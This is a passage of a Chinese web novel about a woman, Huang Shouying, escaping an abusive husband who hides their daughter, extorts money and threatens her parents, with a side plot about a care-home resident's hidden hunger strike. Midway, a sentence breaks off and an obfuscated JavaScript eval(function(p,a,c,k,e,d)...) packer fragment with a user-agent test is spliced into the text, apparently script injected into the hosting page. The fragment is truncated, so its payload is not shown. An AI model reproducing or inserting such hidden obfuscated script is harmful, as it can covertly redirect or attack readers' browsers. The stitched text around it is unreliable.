烂泥般躺在沙发上的范跃动都没动,慢条斯理的说,“送去老家了,怎么了,你都要跟我离婚了,我当然得自己上点心照顾好琴琴,我没空带,就只好放到乡下去给我妈带了。” 黄守英心里翻滚着怒火,压了又压,看着眼前这个死皮赖脸的人渣,转身朝外走去,眼下还是先找到女儿来得重要。 “你想去找女儿吗?”范跃坐了起来,“别傻了,我的女儿怎么会给你带走,给你带走叫别的男人爹吗,我又没死,怎么能叫别人爹呢,你说是不是,我送去的时候就跟我妈说好了,除了我,谁都带不走琴琴。” 黄守英立在门口,气的没忍住反驳道:“谁说要让琴琴喊别人做爸爸了,你自己心里不干净,倒以为别人都跟你一样烂心肝,我要是有这个心我不得好死,范跃你没良心,琴琴还那么小,你凭什么把他藏起来。” 范跃好似听到了什么夸奖一般,面对黄守英的怒骂也没放在心上,反而还笑了起来:“守英啊,你说说你,好端端的干嘛突然要闹离婚,我们一家三口多好啊,你守着我,我守着琴琴,哪也不去是不是,我这个人,除了爱喝点酒,没有其他毛病嘛。我待在家里,也不出去闝,也不出去赌,那比外面那些又闝又赌的好很多了,你说说你,干嘛想不开跟我闹离婚,是不是哪个不长眼的嫉妒我们,挑拨离间啊,以后不出去了昂,就呆家里。”范跃自顾自说完一大篇,又说,“不行,你呆家里不行,你呆家里就没人挣钱了,不过你在外面不能跟别人说话,不能轻易相信别人说的,外面那些人都是一肚子坏水,不好。” 范跃醉醺醺的又躺在了沙发上。 黄守英只觉造孽,也不知道上辈子做了什么伤天害理的事情,这辈子要遇到这种人渣,他朝着范跃说道:“我不欠你的范跃,我不欠你,你到底想干什么,你把我折磨成这个样子还不够吗,现在又想拿孩子威胁我,我告诉你,这个婚我是离定了,孩子的抚养权我也要拿过来。” “啊?”范跃突然暴怒,从沙发上迅速翻起,将手里的酒瓶摔在了地上,“给你好好说你听不懂好赖话是不是,是不是给你脸了,你是不是觉得我好欺负啊黄守英。” 黄守英面向大门的身体猛战了起来,脑子里到处充斥着“快走”的声音,双脚却像抽筋了一般定在原地。 摔完酒瓶的范跃见黄守英并未像往常一般惊叫哭泣,失了兴趣,但他丝毫没有失去玩弄黄守英的意思,接着说:“你就死了离婚这条心吧,只要我不答应,你哪也去不了,敢离婚,到时候去你爸妈家宰了你爸妈,反正我知道你爸妈家住哪。” 黄守英眼神暗了下来,心死了一大半,听见这话,连害怕的心都没了,脑子里不断回响着范跃说的话,突然就冒出了想要杀了他的想法,要是杀了他就好了,杀了他,自己也不用担惊受怕遭罪,父母也不用遭此横祸,怕什么,这么多次打都挨过来了,先下手为强杀了他,免得他犯病,杀了他一了百了,永无后患,怎么不算解脱呢。 可是要怎么杀呢,是直接捅死呢还是先服软回来毒死他。 “当然了,你非得离婚也可以,净身出户再给我五十万,我就答应你离婚,琴琴也可以给你,当时娶你,彩礼七八万,这酒席红包七七八八加起来也有个两三万,再加上我这几年的青春,琴琴长大后的彩礼,要个五十万也不算过分。” 黄守英被范跃之前轻飘飘一句要杀了他父母的话刺激到了,满脑子都是要先杀了这个畜生的想法。范跃算钱说的高兴,声音也大了些,黄守英骤然听到女儿的名字,才慢慢清醒了过来。 眼前的事物不再模糊重影,逐渐明晰,黄守英定了定心神,打开门走出去,拉着门把手直勾勾盯着范跃笑着说:“你既然这么舍不得我,哪天我们俩死在一起就好了。”黄守英说完这句停了一会又接着说,“五十万没有,十万你愿意离就给你打欠条。” “我又不是叫花子,打发谁呢,你也不出去看看,现在这社会,十万块能做什么,要想离婚,五十万一分不少。” 虽是这样说,但范跃心里却被黄守英前半句话惊到了,他望过去,看见黄守英站在那笑,笑的他身上莫名有些发冷,不待他再说些什么,黄守英就将门合上了,轻轻地,一点没脾气般悄无声息。 范跃回想起黄守英盯着他的样子,不同往常,没有一点害怕的气息,像是以前在电视上看过的动物世界里的猎豹一般,躲在远处屏气凝神蓄势待发,范跃不舒服地在沙发上扭了扭,吐出一句,“装模作样。” 11. 巧舌如簧,人面掩兽心 出了门,黄守英抵在楼道的墙上捂着脸默默流泪,愤怒与委屈的情绪包裹着他,让他难以呼吸。他不明白,大家不都是奔着幸福才结婚的吗,怎么会走到今天这种地步呢。 细想起来,守英与范跃还是过了两年恩爱日子的,范跃也并不是一结婚就变了脸。婚后的生活虽然没有大富大贵,但也不愁吃喝,俩人还固定每个周末都出去外面吃打打牙祭,只是从范跃失业的那天起一切都变了天地,自尊心强的范跃在接连被拒后一蹶不振,酗酒成性。 起初,守英还当是一时的挫折,并未放在心上,想着只要夫妻两个人齐心协力,互相支撑,肯定用不了多久,生活就会再次回到正轨上,只是没料到的是,范跃待在家里的时间越久,心里就越发变态,稍微几句就会对守英大打出手,仿佛他稀碎一地的自尊只能招呼在女人身上才能证明他身为一个男人的信心并未丧失一般。 黄守英虽然急于想摆脱范跃这个人渣,主动妥协答应给他十万,但是去哪里给他凑这十万块钱还真是个难事,这几年挣来的钱都用在了家里,并没有什么存款。 正暗自伤神流泪,母亲的电话就打过来了,守英忙擦干眼泪,清了清嗓子,接通了电话:“妈。哦,没事,你别担心,是我最近工作要倒班,没时间接送琴琴,范跃自己照顾不好,就先把琴琴送到他奶奶那了。对,你也知道范跃那个人没什么耐心看娃,送去他奶奶那也好,等过段时间我倒过班了再接过来。没多久,就一两周吧。没事妈,你别瞎想,那是他亲孙女,还能不照顾好了啊。没,他早上跟我提了一嘴,我当他随口说的就没当回事。行呢妈,你也别担心了,都好着呢,那妈你忙去吧,闲了再聊,我这会有同事发消息呢。好好,我会照顾好自己的,你跟爸爸也是,自己照顾好自己,要是有个什么需要,就打电话。哦哦,那山重哥人还挺好,我有时间回来了感谢感谢他。嗯嗯,行呢妈,那我挂了昂。” 黄守英看着楼上自家的窗户,眼前浮现出俩人刚搬进新房的喜悦情景,仿佛像昨天发生的一样还历历在目,只是如今却是物是人非,再回不到过去,黄守英将心里最后一丝留恋与不舍按下,毅然而然的走了,不管是自己租房还是挤在员工宿舍里,往后,都不会再回来了。 继上次给黄守英留联系方式已经过了一周的时间了,传岚都已经提前跟方思域打好了招呼,一旦对方有任何需求,传岚这边都可以即时提供帮助,只是对方却迟迟未打来电话。 “你说那个有可能需要法律援助的事是真的吗,怎么不见声响啊,你不会是拿我寻开心吧,传岚。”方思域发来消息。 “我没那么闲,你不信可以去问舒华,他当时也在场,可以为我作证。”传岚回。 “那怎么不见动静啊,是真的想离婚吗?” “不清楚,他是这样说的,不过这种涉及家暴的夫妻没那么轻易离的,那男的不愿意离,去民政局都没用,只有起诉离婚这一条路子,至于他为什么还没联系我们,我也不知道,按理说,我们都陪他去过派出所了,应该不至于把我们当坏人,警惕我们吧。” “这谁好说,说不定人家就是这样想的,不然那么多行人,怎么偏偏就你们两个女的出手帮了他,还这么热心的要给他提供免费的法律援助,万一人家觉得你是打着免费的幌子最后漫要价呢。” “不会吧,都说是免费的了,再说了,你看我们俩像坏人吗?” “坏人可不会在自己脸上标明坏人两个字,不过他谨慎些我也能理解,这哪个行业里都有毒瘤,律师行业也不例外,是有那么一些人打着免费的幌子事后又扯出些不透明的名堂收费的,一般人没怎么接触过律师,也不懂法,还不是别人说什么就是什么,搞得多了,就没人找律师了,还有一点,就是初始印象导致的,觉得律师都是西装革履高楼大厦什么的肯定很贵,其实还是有便宜的,而且再不济还可以申请法律援助,只是大多数人法律淡薄,不了解这些事。” “哦,原来你们律师行业还有这种像小作坊里美容美发一样的套路啊,真是涨见识了。” “当然有了,也不奇怪吧,又不是人人都能进好的律所,红圈所待遇好吧,但它的要求也高啊,能进去的哪个不是人中龙凤,但是学法律的人数也很多,那其他的人还不是根据能力关系自动匹配相应的律所,实力低的律所讲究的就是两个字-创收,里面的律师自然以业绩为主,搞点骚操作也是常有的事。” “原来如此,我竟不知道还有这样的律师跟律所。” “你连美容美发的套路都知道,怎么就不了解这块了,你们家律师没跟你科普过吗?”方思域玩心大起,揶揄到。 “美容美发是上大学的时候听隔壁宿舍同学讲的,因为被人利用好心而欺骗崩溃到回来大哭,后来我们导员还专门针对这种事展开组织了防诈骗的讲座,所以印象很深刻,你讲的那种律师没听过,不清楚不很正常吗?” “当然正常,你要是了解了我才要怀疑不正常呢。” “哈哈,对了,好奇问下,以你的成绩能进红圈所吗?” “能吧,按以往他招人的要求,我的条件是符合的,不过我也不一定要去红圈所,说不好我自己开律所当老板呢。” “那你还挺有上进心的,这年头,愿意创业的二代都少了。” “哈哈,继没本事之后也没勇气了是吧。那我算不算属于又有本事又有勇气的那种人。” “那肯定啊,您都是能进红圈所的人中龙凤了,这还不算有本事,那什么样才算还有本事呢。” “我实事求是说出来的话倒叫你拿来取笑我了,真是防不胜防。” “没有,我是个真诚的人,说的也是实话。” “OK,暂且信你,那今天就这样,你早点休息,有什么事随时发消息,我就去吃午饭了。” “OK。” 正式上班以后,传岚基本上两周才去一次养老院做义工,年前出于好心与职业敏感顺口说了句叫院长平时多注意李大奎的事,没成想果真出了事,原来是那李大奎竟想不开悄悄闹绝食。 本来除了行动不便,一般身体还可以能自行行动的老人,院里都是鼓励大家在食堂就餐的,人多吃饭也香。但上个月开始,李大奎就以脚崴了为由不再去食堂就餐,每餐的餐食都由工作人员送来房间,而李大奎则将每次送来的饭菜背着人全倒进了垃圾桶。 幸而院长听了传岚的话留了个心眼,见李大奎短时间内消瘦的有些异常,以防万一悄悄叮嘱了工作人员梅姐暗中留意李大奎的举动,这才发现的李大奎绝食。 至于为何一开始就没发现李大奎闹绝食这事,竟出在院里几只猫身上,原来是齐院长为了纾解老人们的情绪,在养老院里养了几只疗养猫,李大奎瞅准了这个机会,将每次倒的饭菜都拿去喂了猫,因这几只猫都是周边的流浪猫收养而来,所以也吃人的饭菜。 院长打来电话,说完感谢的话,忍不住吐槽道,“我是真没想到啊,他居然把倒的饭都喂了猫,刚开始的时候,说他最近没什么食欲,叫我们给他少盛点,梅姐看他精神头确实不高,也就没在意,谁知道这都是他的计划啊,怪不得我们的人之前都没发现有什么不对。” 传岚既惊叹李大奎做事的缜密,又叹息他居然如此倔强地报了必死的心,可据传岚知道的信息,这养老院是他主动要求要来的,而且院长说李大奎的儿子很孝顺,那他为何一心求死,看起来倒是个有故事的人。 传岚回神,顺着院长的话说,“这确实,要是倒垃圾桶里,时间久了,到底能注意到,喂给猫,还真是难注意到有什么反常。” 院长说:“你这样一说,我倒是想起来了,是有反常呢,也不清楚他具体哪天开始绝食的,但负责喂猫的琪姐找过我,说几只猫的胃口都小了很多,连着好几天都吃的很少,我当是猫也上了年纪,吃的少也就没在意,谁知道,喔,原来那个时候就开始了,真是吓人,幸亏你提醒过我,要真饿死在我们养老院,天菩萨啊,我们养老院还不得完蛋。” 传岚问:“人现在没事吧,有通知家里人过来吗?他儿子知道这事吗?” 院长回:“这么大的事,咋能不通知家属啊,第一时间就打过去说清楚事由了,后续送李大奎去医院做了个全面检查,吊了几天瓶子,所幸发现的早,没什么大事,现在慢慢养着呢。” 传岚说:“那倒还好,说句不好听的,其他方式还好,这要真是饿死的,你们养老院是得完蛋,不仅得完蛋,你跟里面的工作人员还要被钉在耻辱桩上被人唾骂才算完。” 院长听到这,四十好几的人了,呜呜咽咽地说:“谁又说不是呢,哪种死法不好啊,非要选绝食,啊呸,哪种死法都不行啊,除了寿终正寝,我们院都不接受。” 传岚无声笑了笑,看来真是吓到齐院长了,平时多干练的一大姐姐啊,给人整得都年轻了十几岁。 传岚说:“家属那边怎么说啊,应该没有为难你们吧。” 院长回:“他自己要闹绝食的,家属怪我们干嘛,要不是我们发现的早,人在不在都不好说呢。” 传岚笑说:“不怪就好啦,好的养老院遇到好的家属,互相理解双向奔赴才好嘞。” 院长说:“这倒是,对了,还有个事,我给你说啊,我们发现李大奎绝食的第一时间不是要给他儿子打电话吗,他听见了,再三请求我们不要打给他儿子啊,说不想让他儿子担心,但是你也知道,这么大的事,我们又担不了这个责,肯定要通知家属的。但是怎么说呢,我总觉得李大奎好像对他儿子的态度很奇怪啊,我感觉得他不太想见到他儿子。” 说到这,传岚的好奇心也被勾起,问:“为什么呢,你不是说他儿子很孝顺吗?既然儿子孝顺,他为什么不愿意见到儿子呢,李大奎不是只剩下他儿子这一个亲人了吗?” 院长说:“我也不知道,但他儿子孝顺不像装的,院里接触过的人都夸他孝顺,那年费啊院里的其他费用缴得很积极,每次来都是叮嘱我们务必要细心照顾好他爸爸,对了,他还私底下给照顾李大奎的梅姐塞过红包,说让多费心照顾下,你说这,做子女的做到这地步,很难讲不孝顺吧。” 传岚点了点头:“确实,对了,院长是怎么觉得李大奎不想见他儿子呢。” 院长回:“因为李大奎叫我们没什么事不要叫他儿子过来,他自己也几乎从来不主动打电话过去,李大奎给出的解释是儿子工作繁忙,不想让他为了自己操心,但是正常老人怎么会不想家里人呢,正常老人巴不得隔三差五就回去一趟或者让子女过来一趟。 “不仅是这个,而且每次他儿子过来,他都只简短地说几句让他照顾好自己的话,没其他的话,他儿子也没法只能跑来拜托我们多费心。” 传岚听完,若有所思:“那估计病因还是出在李大奎身上,我想李大奎怕是有什么心结没结,要是不将心结解开,说不好还有后招呢,我建议你还是抽时间跟李大奎儿子好好谈一下,免得大家都提心吊胆的操心。” 院长叹了口气:“哎,是要找个时间得好好跟李焕杰说一下呢,不然这哪防的过来啊,这俗话说的好,‘只有千日做贼的,没有千日防贼的’,出了这事,我都不想续李大奎的养老费了。” 传岚说:“院里不好主动拒绝续费吧。”院长说,“开玩笑了,我就是随口说说,当然不能拒绝了,要是院里主动拒绝,传出去还怎么开的下去啊。总之,这件事多亏你提醒在先,我才能留意到,也避免了不好的事情发生,我记在心里了,以后有需要我的地方,随时call我,改天约时间请你吃个饭。” 传岚也不推辞,说:“好啊,你空了发个消息,我这边时间相对自由些。” 齐院长倾诉完心情舒畅了不少,俩人也就不拖泥带水结束了话题。 传岚挂了电话靠在椅子上假寐,无端想起来父亲出车祸的事。 当年出车祸的时候自己也才十六,刚考上大学不久,出事后,大伯打来电话简单转述了基本情况,注意力都放在父亲身上的传岚当时并未有什么疑惑,也认为只是普通的交通肇事,并没有过多关注肇事司机。 因为司机认罪态度良好,司机单位也没有推诿责任,所以没有任何悬念就判定了司机交通肇事罪,该坐牢的坐牢,该赔偿的赔偿,事件进展顺畅,大伯和二叔作为长辈代为主持处理了所有的事。 传岚回想着自己找到的信息,在脑子里一遍又一遍的回溯那张肇事司机的黑白行驶证复印件照片,想着想着,似乎感觉跟养老院里的李大奎有些神似,虽然驾驶证上是个三十几岁阳刚健壮的男人照片,跟现在这个不管是长相还是精神面貌近六十多的李大奎相差很多,养老院里的李大奎瘦小萎靡,但冒出这个想法后,传岚越想越觉得哪里有些说不上来的像,李大亏是那个李大奎吗。 想到这,传岚立马就拨通了院长的电话,“齐院长,李大奎的奎是哪个奎字?”齐院长不明其意,但也热情回道:“奎星的奎,就是上面一个大字下面一个圭玉的圭字的奎,怎么了,突然想起来问这个。” 传岚说:“没有,就是听你一直叫他李大奎,但我见他床头标识什么的都写的李大亏,刚才聊天一直想问来着忘记了,这会儿想起来就问下。” 院长说:“哦,那个啊,那是梅姐不会写他的奎字,就写了个自己知道的。” 传岚又问:“他是什么时候来你们养老院的,以前干什么的你知道吗?” 院长回:“五年前吧,要问他以前做什么,跟他儿子聊天的时候倒是有提过,说他爸打零工供自己上的大学。” “哦好,那院长您先忙吧,我这边也没什么问题了。”不是司机吗,传岚的心提起又放下,留下了一丝失落。 最近好像日子过的太顺了,关键的事没一点进展,传岚将手边的书扣在脸上神游,不禁想是不是驱梦的事太过低调隐秘了,导致兔子不知道这有棵大树,所以仁济堂这边迟迟没有线索,要不要改天跟二叔说说,让他想办法将仁济堂的名声选择性的打响一些。 这边黄守英知道琴琴被送去他奶奶那也就没那么着急了,虽然他奶奶疼儿子,但也不会亏良心对琴琴不好,在他奶奶那起码有吃有穿,比在范跃这好,所以他才没有第一时间就去接女儿,眼下重要的还是怎么和平的把这个婚离了。 黄守英正补货时,同事急匆匆赶来叫他快去休息室,原来是范跃来黄守英工作的超市大吵着要找黄守英,值班经理已经将人安抚带去了员工休息室。 黄守英听见范跃过来,压根不想见他,但自己又不能给同事上司添麻烦,真是又气又恨,一路小跑过去,过去推门进去,只见范跃翘着二郎腿,歪靠在椅子上。 黄守英不由得质问,“你来这干什么!”听见黄守英不客气的问话,范跃悠闲的姿态也没了,一身的痞气,暴躁地说,“你说我来干什么,你他娘的一天天不回家在外面潇洒,不管家里了是不是,又在外面跟哪个野男人厮混呢,搞得都不着家了。”黄守英气的胸口直疼,大声回骂道,“我做什么,我在给人当牛做马挣我的离婚费你说我在做什么,你就是个满嘴喷粪的畜生,我跟你有什么好说的,你走,再不走我就报警了。” 范跃听见黄守英的谩骂,抬起手就要殴打他,许是连日来的细微变化与日夜在脑海里推演的换位情景,使得黄守英在面对范跃再一次的施暴时第一次付诸了反抗的行动,他拦住范跃的手,铿锵有力地反击回去,“我劝你看清楚,这里到处都是监控,你以为是家里呢,想打就打,你敢动手试试,我立马喊人报警。” 范跃手一顿,看着角落的监控,甩开手:“算你运气好,今天我心情好,不跟你一般见识,我也懒得跟你废话,你把我拉黑了吧,把钱转我。” 黄守英心死一般闭眼又睁开:“我没钱,我这个月工资还没发呢。” 范跃说:“别特么废话,我不管,今天拿不到钱我是不会走的。” 黄守英说:“你把我工作搅黄对你有什么好处吗,到时候大家一起去要饭去喝西北风吗?” 范跃丝毫不在意:“工资没到时间,我记得你这季度的奖金应该发了吧,先把这个给我。” 黄守英说:“我真的没钱,范跃你有手有脚,一样受的教育,你为什么就是不愿意出去找份工作呢,现在送外卖挣得也很多,只要你愿意,总会有很多出路的。” “闭嘴。”像触到逆鳞一般,范跃甩手就是一个巴掌,脸部狰狞着说:“你怎么这么多废话呢,给钱你听不懂是不是,不给别说以后,咱两现在就死你信不信。” 黄守英没有害怕,仿佛那一巴掌只是一阵风一般,他死死盯着范跃,扯着出血的嘴角笑了笑,掏出手机,将范跃放出来,转过去两千。“你走吧,这两千是我全部的钱了,以后不要再来找我了,找我也没钱了,你要是再逼我,那我们就真的一起去死吧。” 收到钱的范跃态度一百八十度大转弯,一下恢复了温柔模样,摸了摸黄守英红肿的脸,道歉说:“对不起啊守英,我刚才脑子一抽,打疼了吧,我给你吹吹。” 守英一动不动,并没有阻止他的动作,只重复说:“你走吧,以后不要再来找我了,我不会再待在这了,等我攒够十万会来找你离婚的。” 范跃继续自说自话:“我的守英真是好,还想着为我攒钱,只是以你赚钱的速度,攒够十万太久了,你知道的,我又没工作,但我每天生活也是需要钱的,要么一下就全部给我,要么还是像现在一样按时给我,等你是不能够的。还有啊,我可没有答应你离婚只付十万就可以了,毕竟我不答应离婚,守英就要养我一辈子呢,你说是不是啊。” 说完话的范跃,哈哈大笑着昂首挺胸出去了,只留下黄守英在员工休息室里发呆。 守英的同事苏若不放心守英一个人,见范跃出来,赶紧过来守英这里,见守英左脸上红肿的模样,心里已是门清,心里气急,骂道:“这简直不是个人,哪里来的畜生这样心狠,该被天雷劈死被车撞死的,还活在这世上干什么。”说着转身出去拿了冰块进来帮守英冷敷。 挨打的时候尚不觉痛,冰袋贴上来的时候,那宛如炙烤电击般的痛楚才延迟扩散开来,痛的守英不觉滴下泪来,苏若姐一阵心疼,揽过来让他靠在肩上哭个痛快,见此情景,苏若想起自己之前那段失败的婚姻,有些唏嘘,心里也不落忍的难受了起来。 守英哭完整理好情绪起来:“不好意思啊苏若姐,都弄湿你的衣服了。” 苏若说道:“说什么呢,一件衣服算什么,洗了就好了,你没事就行,还好吗守英。” 守英不想让苏若为他担心,便想挤出些笑,没成想扯到嘴角,痛的他倒吸一口凉气,反而成了一幅哭笑不得的滑稽表情。 “你干嘛呢,轻点,这才敷了一会,彻底消下去好了还要点时间呢。” 守英想了想,还是说出了口:“苏若姐,我可能要走了,还要多谢你这几年对我的照顾,多亏了你和荣荣帮我时不时地顶班,才让我能兼顾得了家庭,不至于让经理开了我,我一直都记在心里的,不敢说以后发大财,但凡我这边安顿好了,手里稍微有点钱,我一定来请你们吃饭。” 苏若说:“傻姑娘,我们仨在食堂吃多少回了,还差你那顿吗,你这听我的,先不着急着走,我知道你顾虑什么,我去跟经理商量商量,让你先去后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭骅说:“后厨人手是有点紧张,他要是不嫌累,可以去后厨呆段时间,但是你告诉他,靠躲是解决不了问题的,希望他能尽早明白这个道理有所改变,我们超市能给他提供一时的庇护,提供不了一世的安稳,他总不能一直躲在里面不出来。” 苏若说:“是这样,只是他现在考虑不了那么久远的事,光是活着就已经很辛苦了,他小孩还被带去奶奶那了。” 郭骅叹了口气说:“算了,别跟他说我刚说的,就说我同意他去后厨就行了。” 苏若笑说:“郭经理人真好,我果真没看错人,我这就去告诉守英这个好消息。” “等一下。”郭骅扭捏的说,“你衣服怎么脏了,记得待会去换了,要注意仪容仪表。”不待苏若解释道,郭骅又说, “明天有空去吃个饭吗,郭子言生日,他说想叫你一起过去。” 苏若笑着说好,就跑去找守英了。 老话说“父母心在儿女上”,哪怕守英未说一句不好的话,守英父母也察觉出了女儿语气的不对,放心不下守英,便央了邻居儿子李山重带自己来了城里。 黄老爹在门外敲了半天,范跃才醉醺醺的出来,见是岳父,嬉笑着说:“老爹怎么今天过来了,也没提前打个招呼,这家里还没来得及收拾,有些乱,望见谅哈。”说着用脚随意的将地上的衣服踢到了沙发底下,“来,坐这,我去倒杯水。” 黄老爹对这个糟糕的女婿也是厌恶,张口只问:“我女儿在哪,怎么最近打电话都打不通,你把他藏哪去了?”。 范跃举着杯子的手收回来送到自己跟前,喝了一口,笑着说:“我把他藏哪去了?我还想问呢,你女儿不回家很久了,也不知道去哪找什么野男人了,我去他工作的地方找都找不到,他这是存心躲我呢,老爹要是有消息也告诉我一声啊,守英可是我们家的顶梁柱,没他我都活不下去。”说完得意的笑了笑。 “畜生,你不找我女儿就是好事,还想让他回来,回来挨你的打吗?我告诉你,我这次来,就是要让他跟你离婚的。” 范跃把杯子里的水往水池里一泼,说:“老东西怎么说话呢,念你是守英爸我才说话客气些,再骂我两句试试,别以为你一把老骨头我就不敢动手了。” 一直站在后面不声不响的李山重上前挡在黄老爹的跟前,高大的身躯沉默地矗立于前,睥睨着范跃,一言不发,其言也明。 范跃讪笑着又重新倒了杯水递过去说:“我是开玩笑的,老爹别放心上,还没注意这位兄弟是?” “既然英子不在,山重,我们走。”俩人无视范跃径直出了门。 真是可怜天下父母心,饶是一把年纪这该得为孩子操心的还不是照样得为孩子操心。 黄老爹出了小区,没走多远就捂着心口跌跌撞撞坐在了路边的石墩子上,李山重见状,上前搀着问到:“黄叔,你咋了,哪儿不舒服?” 黄老爹宽慰说:“没事,被那畜生气的心口疼,我缓一缓就好了。” 在家里寻不着黄守英,黄老爹不知道还能去哪找人,悲从中来,捶着自己的头懊悔到:“我要是在他们结婚之前好好替英子把把关就好了,我毕竟多活一二十年,英子才遇到几个人啊,都怪我啊,怪我没有看透范跃这畜生,害的我儿有家不能回,现在连人在哪都不知道,也不知道他一个人过得好不好。” 李山重口笨,不知道说些什么好,半天才挤出句:“黄叔别这么说,英子肯定没事的,我们待会去他以前工作的地方问问,说不定有什么线索呢。” 俩人又摸索着找来了守英工作的超市打听,听见工作人员说黄守英已经离职了的消息有些茫然无措。 李山重问到:“请问你知道他离职后去了哪儿吗?”前台小姐林兰说,“这我们哪知道啊,没听说辞职了还要告诉上家去处的,况且我们超市有上百个工作人员,也不能各个都知道情况。” 李山重与黄老爹对视一眼,看来是没什么希望了,不过李山重又说:“麻烦您了,要是,万一有他什么消息可以让他给家里回个电话吗,就说好久没联系了,家里人蛮担心。” 林兰说:“好的,有消息这边会传达的,但是你们也不要报什么希望。” 林兰见两人走了就给苏若发消息说明了情况,苏若过去后厨跟守英说了这事,问他:“你拉黑范跃就行了,怎么连你爸妈的电话也不接啊,你待会给家里回个电话啊。” 坐在小马扎上洗虾子的守英,满口应着说忙完手里的活待会就打,苏若见通知到位就出了后厨,走了几步,想到什么似得,拨通了守英的电话,半响之后,手机那端传来了“您拨打的用户已停机”。 “果然是这样,哎。”苏若跺了跺脚,站在原地给守英充了一百块话费,又折身回去找人。 守英收到短信,愣愣地看着话费到账的短信,心里疑惑地想,“这谁充的话费。”应该不是爸妈吧,自上次范跃搜罗走自己身上的钱后,守英已经没有余钱了,在手机欠费停机前特意给他们打了电话,叫他们最近不要打电话过来,有什么事自己会打过去的。 眼前一暗,抬头见是苏若姐,苏若说:“你的钱是不是上次被范跃都拿走了,我微信给你转了500块钱,过几天工资发了再还我,待会早点下班去和你爸吃个饭,早点打发回去吧,晚了还要住宿。” 守英低下头,继续洗着虾子,眼泪一颗颗的滴在虾子上没有一点声响,原来那话费是苏若姐充的,守英不断点着头: “谢谢你苏若姐,我工资发了马上还你。” “好,那你快点收拾完就过去吧,我先忙去了。”苏若说完就走了,没有停留太久。 黄守英用袖子擦了擦眼泪,脱掉手套,出去给家里打去了电话。 黄老爹在了解到范跃去守英工作的地方大闹,守英同事为了守英不被骚扰,一致统一口径说不知道的情况后断然拒绝了守英要过来找他一起吃饭的请求。 黄老爹在电话里说:“英子啊,我知道你在哪过得怎么样就行了,既然是要躲着他,就不出来了,我也才从那边过来不久,要是被他碰上了还麻烦些,你别出来昂,我跟你山重哥就走了。 “至于你要离婚这事,我跟你妈那是一百个答应支持的,以后琴琴就由我们来带好了,你别担心,哪怕是什么都不要,只要能离婚,没了就没了吧,以后再奋斗。” 守英听老父亲在电话里的句句肺腑,想起自己快三十的人了,工作也好几年了,却从来没有为家里付出过什么,也没有余力为家里做些什么,反而还让家里的两位老人为自己操心,心里愧疚的不行,强忍着情绪说:“行呢爸,我都挺好的,你跟妈也别担心我,我同事上司都挺照顾我的,等我这边处理好离婚的事,我就回来看你们。” 黄老爹感觉到女儿说话的语气有些不对,知道守英难过,自己也没忍住红了眼圈,李山重接过电话:“守英啊,你要是拿你山重哥当哥,这从小长大的情分在这,离婚的时候说一句,我就过来,有我在,哥保证那范跃不敢动你一根手指。” 黄守英头向后仰了仰,深吸了口气,笑说:“谢谢你啊山重哥,还要多谢你平时照看我爸妈,也是我不孝,做女儿做到我这份,真让人笑话。” 李山重皱了皱眉,开口打断:“别说这样的话,每个人都有难处,这不是你的错,你也不要想太多,就一句话,有事你就打电话,我说话算数,关键事情,千万不要害怕麻烦不好意思什么的就不联系,越是难处,越要开口说话知道了吗?” 守英点头,说:“知道了山重哥,那你们回去的时候注意安全,我就不过去了。” 李山重回了好,挂断电话,将自己电话号码及微信号发送了过去才将手机还给了黄老爹。 12. 要站起来,向前去不回头 就在传岚以为黄守英丧失了反抗的勇气,忘记与自己说过的话,选择继续蜷缩在阴影下时,意外接到了他的电话,黄守英说:“你那天说可以免费提供法律咨询是真的吗,如果是真的,求你帮我把这个婚离掉。” 传岚call了舒华一起出来,仨人约了家好讲话的下午茶包间。 传岚慢饮了口茶:“原来是这样,我们见你久不联系,还以为是你反悔不离了,竟然是这样。” 舒华听得不可思议,虽说网上刷到不少家暴的事,但张口就是威胁人喊着要打杀对方家里人的还是少见,不由气愤地说:“他居然能说出这种话,真不是人,怪不得你有顾虑,我听着都害怕,你能有勇气提出来真的很厉害了。” 传岚眯着眼看了看窗外,又扭头过来看着黄守英说:“你很幸运哦,我跟我朋友打赌,说你要是有勇气敢来找我们,我们就免费帮你到底。” 正说着,唐毅带着一位人高马大但西装革履的人进来了。 那天临了,方思域说:“听你描述,考虑到黄守英丈夫家暴的特性,估计离婚的时候不会顺利,普通的律师估计难以达到预期效果,你这样,我跟唐毅打个电话,他认识人多,我叫他找个适合家暴的离婚律师过来。” “来了,坐。”传岚起身将两位主角引进去招呼坐好。 传岚介绍:“这是想离婚的黄守英女士,我朋友唐毅,这位律师怎么称呼啊?” 律师起身伸手介绍:“敝姓余,单字一个东。”黄守英起身连忙握住问好:“余律师您好。” 黄守英在传岚的示意下将自己的情况完整的讲述了一遍。 传岚作总结道:“就是这样,现在主要就是黄守英想离婚反遭威胁,范跃要五十万才肯松口答应离婚,余律师,有什么好的办法能让范跃心甘情愿配合离婚吗?” 余东说:“明白了,就是说范跃拿当事人家里人的性命来威胁当事人是吧,这确实是个问题,不过别担心,我专门承接这种离婚官司,有自己的方法来应付,黄女士,冒昧问一句,您觉得您老公,就是范跃这个人的性格怎么样?” 黄守英疑惑,看了眼传岚,见对方点头,斟酌着说:“刚结婚的时候性格挺好的,也没动过手,开始动手是从他失业以后开始的。” 传岚补充说道:“是欺软怕硬的类型,我跟他打过一次照面,有印象,对比他厉害的,很会看眼色。” 余律师说:“是这种人的话,那就好办多了,请问黄女士,您有保留范跃家暴的证据吗?” 黄守英说:“有的,当地妇联派出所我都去过,警察出具的调解书,范跃写的保证书,还有每次挨打后的照片以及严重时在医院做的检查我都有,人证的话我同事都可以做证。” 舒华在一旁搭腔:“我也可以,我跟传岚亲眼见他在大街上殴打守英的。” 余东笑了笑,继续说:“那太好了,证据都很完整,听您的意思范跃这几年一直没有工作,全靠你工作来养活是吗?” 黄守英回到:“是,我要负责家里所有的开销,每个月还要给他上缴酒钱。” 余东说:“这部分的开支也需要你罗列整理下。请问您对这次的离婚财产有什么预期吗?” 不用付钱或者少付钱给范跃,换来离婚和孩子的抚养权就是最好的结果了,黄守英还哪敢想分财产,他说:“我只要能离婚和拿到我女儿的抚养权就可以了,分不分都行,只要他愿意离婚,我可以一分不要,他要钱的话,少点我可以打欠条。” 